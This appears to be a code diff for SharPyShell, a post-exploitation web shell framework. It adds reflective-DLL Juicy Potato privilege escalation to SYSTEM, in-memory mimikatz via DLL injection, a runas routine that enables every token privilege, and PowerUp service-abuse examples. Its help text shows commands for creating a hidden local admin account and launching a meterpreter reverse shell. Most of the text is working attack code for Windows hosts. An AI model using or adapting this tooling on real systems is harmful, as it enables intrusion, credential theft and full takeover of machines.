     131 + print '\n\nInjecting converted DLL shellcode into remote process...'
     132 + response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
     133 + exported_function_name, exported_function_data])
     134 + response = self._parse_response(response)
     135 + response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
     136 + response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
     137 + else:
     138 + raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
     139 + parsed_response = self._parse_response(response)
    115 140   return parsed_response
    116 141   
    117 142   def __run_ps_version(self, username, password, domain, custom_command):
    skipped 9 lines
    127 152   exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
    128 153   if exec_type == 'exe':
    129 154   response = self.__run_exe_version(username, password, domain, custom_command)
     155 + elif exec_type == 'dll':
     156 + response = self.__run_dll_version(username, custom_command)
    130 157   else:
    131 158   response = self.__run_ps_version(username, password, domain, custom_command)
    132 159   parsed_response = self._parse_response(response)
    skipped 7 lines
  • ■ ■ ■ ■ ■
    modules/privesc_juicy_potato.py
    skipped 1 lines
    2 2  from core import config
    3 3  from modules.upload import Upload
    4 4  from modules.exec_cmd import Exec_cmd
     5 +from modules.inject_dll_reflective import Inject_dll_reflective
    5 6  from utils.random_string import random_generator
     7 +from utils import shellcode
    6 8  import random
    7 9  import traceback
    8 10   
    skipped 4 lines
    13 15   
    14 16  class Privesc_juicy_potato(Module):
    15 17   _exception_class = PrivescJuicyPotatoModuleException
    16  - short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
     18 + short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
    17 19   complete_help = r"""
     20 + Authors: @decoder @ohpe @phra @lupman
     21 + Links: https://github.com/ohpe/juicy-potato
     22 + https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
     23 +
     24 +
    18 25   Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
    19 26   Accounts to NT AUTHORITY\SYSTEM.
    20 27   This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
    skipped 3 lines
    24 31   This vulnerability is no longer exploitable with Windows Server 2019:
    25 32   https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
    26 33  
    27  - Source Code:
    28  - https://github.com/ohpe/juicy-potato
    29 34  
    30 35   Usage:
    31  - #privesc_juicy_potato cmd [custom_args]
     36 + #privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
    32 37  
    33 38   Positional arguments:
    34  - cmd command supported by cmd.exe
    35  - custom_args command line parameters to be passed to juicy potato binary
    36  - Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
     39 + cmd command supported by cmd.exe
     40 + exec_type Type of execution of juicy potato, values can be:
     41 + - 'reflective_dll'
     42 + - 'exe'
     43 + Default: 'reflective_dll'
     44 + clsid target CLSID to reflect
     45 + Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
     46 + custom_shellcode_path path to a file containing shellcode (format raw)
     47 + if set, this module will ignore 'cmd' argument
     48 + Default: 'default'
    37 49  
    38 50   Examples:
    39 51   Add a new local admin:
    40  - #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
     52 + #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
     53 + Run juicy reflecting a custom COM CLSID:
     54 + #privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
     55 + Run whoami with the classic Juicy Potato binary:
     56 + #privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
    41 57   """
    42 58   
    43 59   _runtime_code = ur"""
    44 60   using System;using System.IO;using System.Diagnostics;using System.Text;
    45 61   public class SharPyShell
    46 62   {
    47  - string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
     63 + string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
    48 64   {
    49 65   string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
    50 66   ProcessStartInfo pinfo = new ProcessStartInfo();
    51 67   pinfo.FileName = exe_path;
    52  - pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
     68 + pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
    53 69   pinfo.RedirectStandardOutput = true;
    54 70   pinfo.RedirectStandardError = true;
    55 71   pinfo.UseShellExecute = false;
    skipped 28 lines
    84 100   }
    85 101   """
    86 102   
    87  - __default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
     103 + __default_exec_type = 'reflective_dll'
     104 + __default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
     105 + __default_custom_shellcode_path = 'default'
    88 106   
    89 107   def __init__(self, password, channel_enc_mode, module_settings, request_object):
    90 108   Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
    91 109   self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
    92 110   self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
     111 + self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
     112 + module_settings, request_object)
    93 113   
    94 114   def __parse_run_args(self, args):
    95 115   if len(args) < 1:
    96 116   raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
    97 117   args_parser = {k: v for k, v in enumerate(args)}
    98 118   cmd = args_parser.get(0)
    99  - custom_args = args_parser.get(1, self.__default_custom_args)
    100  - return cmd, custom_args
     119 + exec_type = args_parser.get(1, self.__default_exec_type)
     120 + self.__random_listening_port = str(random.randint(10000, 65000))
     121 + clsid = args_parser.get(2, self.__default_clsid)
     122 + arguments = ' -t * -l %s -c %s -p '
     123 + arguments = arguments % (self.__random_listening_port, clsid)
     124 + custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
     125 + return cmd, exec_type, arguments, custom_shellcode_path, clsid
    101 126   
    102 127   def __lookup_binary(self):
    103 128   if 'JuicyPotato.exe' in self._module_settings.keys():
    skipped 8 lines
    112 137   bin_path = remote_upload_path
    113 138   return bin_path
    114 139   
     140 + def __run_exe_version(self, cmd, arguments):
     141 + exe_path = self.__lookup_binary()
     142 + working_path = self._module_settings['working_directory']
     143 + request = self._runtime_code % (exe_path, arguments, cmd, working_path)
     144 + encrypted_request = self._encrypt_request(request)
     145 + encrypted_response = self._post_request(encrypted_request)
     146 + decrypted_response = self._decrypt_response(encrypted_response)
     147 + parsed_response = self._parse_response(decrypted_response)
     148 + return parsed_response
     149 + 
     150 + def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
     151 + LogFile = logfile
     152 + remote_process = 'notepad.exe'
     153 + CLSID = clsid
     154 + ListeningPort = self.__random_listening_port
     155 + RpcServerHost = '127.0.0.1'
     156 + RpcServerPort = '135'
     157 + ListeningAddress = '127.0.0.1'
     158 + if custom_shellcode_path == 'default':
     159 + shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00'
     160 + thread_timeout = '60000'
     161 + else:
     162 + thread_timeout = '0'
     163 + with open(custom_shellcode_path, 'rb') as file_handle:
     164 + shellcode_bytes = file_handle.read()
     165 + configuration = LogFile + '\00'
     166 + configuration += remote_process + '\00'
     167 + configuration += CLSID + '\00'
     168 + configuration += ListeningPort + '\00'
     169 + configuration += RpcServerHost + '\00'
     170 + configuration += RpcServerPort + '\00'
     171 + configuration += ListeningAddress + '\00'
     172 + configuration += str(len(shellcode_bytes)) + '\00'
     173 + configuration += shellcode_bytes
     174 + configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}'
     175 + response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
     176 + 'cmd.exe', thread_timeout, configuration_bytes_csharp])
     177 + parsed_response = self._parse_response(response)
     178 + return parsed_response
     179 + 
    115 180   def _create_request(self, args):
    116  - exe_path, custom_args, cmd = args
     181 + exe_path, arguments, cmd = args
    117 182   working_path = self._module_settings['working_directory']
    118  - return self._runtime_code % (exe_path, custom_args, cmd, working_path)
     183 + return self._runtime_code % (exe_path, arguments, cmd, working_path)
    119 184   
    120 185   def run(self, args):
    121 186   try:
    122  - cmd, custom_args = self.__parse_run_args(args)
    123  - upload_path = self.__lookup_binary()
    124  - request = self._create_request([upload_path, custom_args, cmd])
    125  - encrypted_request = self._encrypt_request(request)
    126  - encrypted_response = self._post_request(encrypted_request)
    127  - decrypted_response = self._decrypt_response(encrypted_response)
    128  - parsed_response = self._parse_response(decrypted_response)
    129  - parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
     187 + cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
     188 + if exec_type == 'exe':
     189 + response = self.__run_exe_version(cmd, arguments)
     190 + else:
     191 + logfile = self._module_settings['env_directory'] + '\\' + random_generator()
     192 + print '\n\nInjecting Reflective DLL into remote process...'
     193 + response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
     194 + response += '\nReflective DLL injection executed!\n\n'
     195 + if custom_shellcode_path == 'default':
     196 + response += '\nOutput of juicy potato:\n\n'
     197 + response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
     198 + parsed_response = self._parse_response(response)
    130 199   except ModuleException as module_exc:
    131 200   parsed_response = str(module_exc)
    132 201   except Exception:
    skipped 3 lines
  • ■ ■ ■ ■ ■ ■
    modules/privesc_powerup.py
    skipped 11 lines
    12 12   _exception_class = PrivescPowerupModuleException
    13 13   short_help = "Run Powerup module to assess all misconfiguration for privesc"
    14 14   complete_help = r"""
     15 + Author: @PowerShellMafia
     16 + Link: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1
     17 +
     18 +
    15 19   This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
    16 20   lead to a privilege escalation.
    17 21   The output of this module will be just informative, no automatic privesc exploitation will be performed.
    skipped 1 lines
    19 23   a user to runas this module.
    20 24   If no users are provided this module will run under the application pool running user.
    21 25  
    22  - Source Code:
    23  - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
    24 26  
    25 27   Usage:
    26 28   #privesc_powerup [username] [password] [domain] [custom_command]
    skipped 3 lines
    30 32   password password of the user to runas the process
    31 33   domain domain of the user to runas the process
    32 34   custom_command the command to run within the module
    33  - Default: ';Invoke-AllChecks'
     35 + Default: ';Invoke-PrivescAudit -Format List'
    34 36  
    35 37   Examples:
    36 38   Run powerup as the current user
    skipped 2 lines
    39 41   #privesc_powerup 'user1' 'password1'
    40 42   Run powerup as a specific domain user
    41 43   #privesc_powerup 'user1' 'password1' 'domain'
    42  - Run powerup with a custom command, i.e. save report as html
    43  - #privesc_powerup '' '' '' ';Invoke-AllChecks -HTMLReport'
     44 + Run powerup with a custom command, i.e. abusing a service misconfiguration
     45 + #privesc_powerup '' '' '' ';Invoke-ServiceAbuse -Name "VulnSvc"'
    44 46   
    45 47   """
    46 48   
    47 49   __default_username = ''
    48 50   __default_password = ''
    49 51   __default_domain = ''
    50  - __default_custom_command = ';Invoke-AllChecks'
     52 + __default_custom_command = ';Invoke-PrivescAudit -Format List'
    51 53   
    52 54   def __init__(self, password, channel_enc_mode, module_settings, request_object):
    53 55   Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
    skipped 27 lines
  • modules/ps_modules/Invoke-Mimikatz.ps1
    Unable to diff as some line is too long.
  • modules/ps_modules/PowerUp.ps1
    Unable to diff as some line is too long.
  • modules/reflective_dll/juicypotato_reflective.dll
    Binary file.
  • modules/reflective_dll/messagebox_reflective.dll
    Binary file.
  • ■ ■ ■ ■ ■ ■
    modules/runas.py
    skipped 45 lines
    46 46   #runas whoami user1 password1
    47 47   Run a command as a specific domain user
    48 48   #runas whoami user1 password1 domain
     49 + Run a command as a specific local user with logon type 2
     50 + #runas whoami user1 password1 '' 60000 2
    49 51   Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
    50 52   #runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
    51 53   Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
    skipped 7 lines
    59 61   
    60 62   public class SharPyShell
    61 63   {
    62  - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
    63  - {
    64  - private SafeTokenHandle()
    65  - : base(true)
    66  - {
    67  - }
     64 + private const string error_string = "{{{SharPyShellError}}}";
     65 +
     66 + private const int LOGON32_PROVIDER_DEFAULT = 0;
     67 + private const int LOGON32_PROVIDER_WINNT35 = 1;
     68 + private const int LOGON32_PROVIDER_WINNT40 = 2;
     69 + private const int LOGON32_PROVIDER_WINNT50 = 3;
     70 +
     71 + private const uint GENERIC_ALL = 0x10000000;
     72 + private const int SecurityImpersonation = 2;
     73 + private const int TokenType = 1;
     74 +
     75 + private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
    68 76  
    69  - [DllImport("kernel32.dll")]
    70  - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
    71  - [SuppressUnmanagedCodeSecurity]
    72  - [return: MarshalAs(UnmanagedType.Bool)]
    73  - private static extern bool CloseHandle(IntPtr handle);
     77 + private const uint WAIT_ABANDONED = 0x00000080;
     78 + private const uint WAIT_OBJECT_0 = 0x00000000;
     79 + private const uint WAIT_TIMEOUT = 0x00000102;
    74 80   
    75  - protected override bool ReleaseHandle()
    76  - {
    77  - return CloseHandle(handle);
    78  - }
     81 + [StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO
     82 + {
     83 + public int cb;
     84 + public String lpReserved;
     85 + public String lpDesktop;
     86 + public String lpTitle;
     87 + public uint dwX;
     88 + public uint dwY;
     89 + public uint dwXSize;
     90 + public uint dwYSize;
     91 + public uint dwXCountChars;
     92 + public uint dwYCountChars;
     93 + public uint dwFillAttribute;
     94 + public uint dwFlags;
     95 + public short wShowWindow;
     96 + public short cbReserved2;
     97 + public IntPtr lpReserved2;
     98 + public IntPtr hStdInput;
     99 + public IntPtr hStdOutput;
     100 + public IntPtr hStdError;
    79 101   }
    80 102  
    81  - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
     103 + [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION
    82 104   {
    83  - public int cb;
    84  - public String lpReserved;
    85  - public String lpDesktop;
    86  - public String lpTitle;
    87  - public uint dwX;
    88  - public uint dwY;
    89  - public uint dwXSize;
    90  - public uint dwYSize;
    91  - public uint dwXCountChars;
    92  - public uint dwYCountChars;
    93  - public uint dwFillAttribute;
    94  - public uint dwFlags;
    95  - public short wShowWindow;
    96  - public short cbReserved2;
    97  - public IntPtr lpReserved2;
    98  - public IntPtr hStdInput;
    99  - public IntPtr hStdOutput;
    100  - public IntPtr hStdError;
     105 + public IntPtr hProcess;
     106 + public IntPtr hThread;
     107 + public uint dwProcessId;
     108 + public uint dwThreadId;
    101 109   }
    102 110  
    103  - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
     111 + [StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES
    104 112   {
    105  - public IntPtr hProcess;
    106  - public IntPtr hThread;
    107  - public uint dwProcessId;
    108  - public uint dwThreadId;
     113 + public int Length;
     114 + public IntPtr lpSecurityDescriptor;
     115 + public bool bInheritHandle;
    109 116   }
    110 117  
    111  - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
     118 + [StructLayout(LayoutKind.Sequential)]
     119 + private struct LUID
    112 120   {
    113  - public int Length;
    114  - public IntPtr lpSecurityDescriptor;
    115  - public bool bInheritHandle;
     121 + public int LowPart;
     122 + public int HighPart;
     123 + }
     124 + [StructLayout(LayoutKind.Sequential)]
     125 + private struct TOKEN_PRIVILEGES
     126 + {
     127 + public UInt32 PrivilegeCount;
     128 + public LUID Luid;
     129 + public UInt32 Attributes;
    116 130   }
    117 131  
    118 132   [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
    119  - public static extern bool CloseHandle(IntPtr handle);
     133 + private static extern bool CloseHandle(IntPtr handle);
    120 134  
    121 135   [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    122  - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
     136 + private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
    123 137  
    124 138   [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
    125  - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
     139 + private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    126 140  
    127 141   [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
    128  - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
     142 + private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
    129 143  
    130 144   [DllImport("kernel32.dll", SetLastError=true)]
    131  - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     145 + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     146 +
     147 + [DllImport("advapi32.dll", SetLastError = true)]
     148 + private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength);
     149 +
     150 + [DllImport("advapi32.dll", SetLastError = true)]
     151 + private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid);
     152 + 
     153 + private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
     154 + {
     155 + private SafeTokenHandle()
     156 + : base(true)
     157 + {
     158 + }
     159 +
     160 + [DllImport("kernel32.dll")]
     161 + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
     162 + [SuppressUnmanagedCodeSecurity]
     163 + [return: MarshalAs(UnmanagedType.Bool)]
     164 + private static extern bool CloseHandle(IntPtr handle);
     165 +
     166 + protected override bool ReleaseHandle()
     167 + {
     168 + return CloseHandle(handle);
     169 + }
     170 + }
    132 171  
    133  - const uint WAIT_ABANDONED = 0x00000080;
    134  - const uint WAIT_OBJECT_0 = 0x00000000;
    135  - const uint WAIT_TIMEOUT = 0x00000102;
     172 + private string EnablePrivilege(string privilege, IntPtr token){
     173 + string output = "";
     174 + LUID serLuid = new LUID();
     175 + LUID sebLuid = new LUID();
     176 + TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES();
     177 + tokenp.PrivilegeCount = 1;
     178 + LookupPrivilegeValue(null, privilege, ref sebLuid);
     179 + tokenp.Luid = sebLuid;
     180 + tokenp.Attributes = SE_PRIVILEGE_ENABLED;
     181 + if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){
     182 + output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error();
     183 + }
     184 + output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded";
     185 + return output;
     186 + }
     187 +
     188 + private string EnableAllPrivileges(IntPtr token)
     189 + {
     190 + string output="";
     191 + output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token);
     192 + output += EnablePrivilege("SeAuditPrivilege", token);
     193 + output += EnablePrivilege("SeBackupPrivilege", token);
     194 + output += EnablePrivilege("SeChangeNotifyPrivilege", token);
     195 + output += EnablePrivilege("SeCreateGlobalPrivilege", token);
     196 + output += EnablePrivilege("SeCreatePagefilePrivilege", token);
     197 + output += EnablePrivilege("SeCreatePermanentPrivilege", token);
     198 + output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token);
     199 + output += EnablePrivilege("SeCreateTokenPrivilege", token);
     200 + output += EnablePrivilege("SeDebugPrivilege", token);
     201 + output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token);
     202 + output += EnablePrivilege("SeEnableDelegationPrivilege", token);
     203 + output += EnablePrivilege("SeImpersonatePrivilege", token);
     204 + output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token);
     205 + output += EnablePrivilege("SeIncreaseQuotaPrivilege", token);
     206 + output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token);
     207 + output += EnablePrivilege("SeLoadDriverPrivilege", token);
     208 + output += EnablePrivilege("SeLockMemoryPrivilege", token);
     209 + output += EnablePrivilege("SeMachineAccountPrivilege", token);
     210 + output += EnablePrivilege("SeManageVolumePrivilege", token);
     211 + output += EnablePrivilege("SeProfileSingleProcessPrivilege", token);
     212 + output += EnablePrivilege("SeRelabelPrivilege", token);
     213 + output += EnablePrivilege("SeRemoteShutdownPrivilege", token);
     214 + output += EnablePrivilege("SeRestorePrivilege", token);
     215 + output += EnablePrivilege("SeSecurityPrivilege", token);
     216 + output += EnablePrivilege("SeShutdownPrivilege", token);
     217 + output += EnablePrivilege("SeSyncAgentPrivilege", token);
     218 + output += EnablePrivilege("SeSystemEnvironmentPrivilege", token);
     219 + output += EnablePrivilege("SeSystemProfilePrivilege", token);
     220 + output += EnablePrivilege("SeSystemtimePrivilege", token);
     221 + output += EnablePrivilege("SeTakeOwnershipPrivilege", token);
     222 + output += EnablePrivilege("SeTcbPrivilege", token);
     223 + output += EnablePrivilege("SeTimeZonePrivilege", token);
     224 + output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token);
     225 + output += EnablePrivilege("SeUndockPrivilege", token);
     226 + output += EnablePrivilege("SeUnsolicitedInputPrivilege", token);
     227 + return output;
     228 + }
    136 229  
    137 230   [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
    138  - public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
     231 + private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
    139 232   {
    140 233   SafeTokenHandle safeTokenHandle;
    141 234   string output = "";
    142  - string error_string = "{{{SharPyShellError}}}";
    143 235   try
    144 236   {
    145  - const int LOGON32_PROVIDER_DEFAULT = 0;
    146  - const int LOGON32_PROVIDER_WINNT35 = 1;
    147  - const int LOGON32_PROVIDER_WINNT40 = 2;
    148  - const int LOGON32_PROVIDER_WINNT50 = 3;
    149 237   bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
    150 238   if (false == returnValue)
    151 239   {
    skipped 2 lines
    154 242   }
    155 243   using (safeTokenHandle)
    156 244   {
    157  - using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
     245 + IntPtr runasToken = safeTokenHandle.DangerousGetHandle();
     246 + EnableAllPrivileges(runasToken);
     247 +
     248 + string commandLinePath = "";
     249 + if(process_ms_timeout>0){
     250 + File.Create(stdout_file).Dispose();
     251 + File.Create(stderr_file).Dispose();
     252 + commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
     253 + }
     254 + else{
     255 + commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
     256 + }
     257 + using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken))
    158 258   {
    159  - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
    160  - {
    161  - IntPtr Token = new IntPtr(0);
    162  - IntPtr DupedToken = new IntPtr(0);
    163  - bool ret;
    164  - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
    165  - sa.bInheritHandle = false;
    166  - sa.Length = Marshal.SizeOf(sa);
    167  - sa.lpSecurityDescriptor = (IntPtr)0;
    168  - Token = WindowsIdentity.GetCurrent().Token;
    169  - const uint GENERIC_ALL = 0x10000000;
    170  - const int SecurityImpersonation = 2;
    171  - const int TokenType = 1;
    172  - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
    173  - if (ret == false){
    174  - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
    175  - return output;
    176  - }
    177  - STARTUPINFO si = new STARTUPINFO();
    178  - si.cb = Marshal.SizeOf(si);
    179  - si.lpDesktop = "";
    180  - string commandLinePath = "";
     259 + IntPtr Token = new IntPtr(0);
     260 + IntPtr DupedToken = new IntPtr(0);
     261 + bool ret;
     262 + SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
     263 + sa.bInheritHandle = false;
     264 + sa.Length = Marshal.SizeOf(sa);
     265 + sa.lpSecurityDescriptor = (IntPtr)0;
     266 + Token = WindowsIdentity.GetCurrent().Token;
     267 +
     268 + ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
     269 + if (ret == false){
     270 + output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
     271 + return output;
     272 + }
     273 + STARTUPINFO si = new STARTUPINFO();
     274 + si.cb = Marshal.SizeOf(si);
     275 + si.lpDesktop = "";
     276 + PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
     277 +
     278 + ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
     279 + if (ret == false){
     280 + output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
     281 + return output;
     282 + }
     283 + else{
    181 284   if(process_ms_timeout>0){
    182  - File.Create(stdout_file).Dispose();
    183  - File.Create(stderr_file).Dispose();
    184  - commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
    185  - }
    186  - else{
    187  - commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
    188  - }
    189  - PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    190  - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
    191  - if (ret == false){
    192  - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
    193  - return output;
    194  - }
    195  - else{
    196  - if(process_ms_timeout>0){
    197  - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
    198  - if(wait_for == WAIT_OBJECT_0){
    199  - output += File.ReadAllText(stdout_file);
    200  - string errors = File.ReadAllText(stderr_file);
    201  - if (!String.IsNullOrEmpty(errors))
    202  - output += error_string + "\n" + errors;
    203  - }
    204  - else{
    205  - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
    206  - }
    207  - File.Delete(stdout_file);
    208  - File.Delete(stderr_file);
     285 + uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
     286 + if(wait_for == WAIT_OBJECT_0){
     287 + output += File.ReadAllText(stdout_file);
     288 + string errors = File.ReadAllText(stderr_file);
     289 + if (!String.IsNullOrEmpty(errors))
     290 + output += error_string + "\n" + errors;
    209 291   }
    210 292   else{
    211  - output += "\nAsync process with pid " + pi.dwProcessId + " created";
     293 + output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
    212 294   }
    213  - CloseHandle(pi.hProcess);
    214  - CloseHandle(pi.hThread);
     295 + File.Delete(stdout_file);
     296 + File.Delete(stderr_file);
     297 + }
     298 + else{
     299 + output += "\nAsync process with pid " + pi.dwProcessId + " created";
    215 300   }
    216  - CloseHandle(DupedToken);
     301 + CloseHandle(pi.hProcess);
     302 + CloseHandle(pi.hThread);
    217 303   }
     304 + CloseHandle(DupedToken);
    218 305   }
    219 306   }
    220 307   }
    skipped 43 lines
  • ■ ■ ■ ■ ■ ■
    requirements.txt
    1 1  urllib3
    2  -urllib3[socks]
     2 +PySocks
     3 +pycrypto
     4 +pyopenssl
     5 +pefile
    3 6  prettytable
    4  -Crypto
    5  -pyopenssl
  • ■ ■ ■ ■ ■ ■
    utils/gzip_utils.py
     1 +import StringIO
     2 +import gzip
     3 +import base64
     4 + 
     5 + 
     6 +def get_compressed_base64_from_file(path):
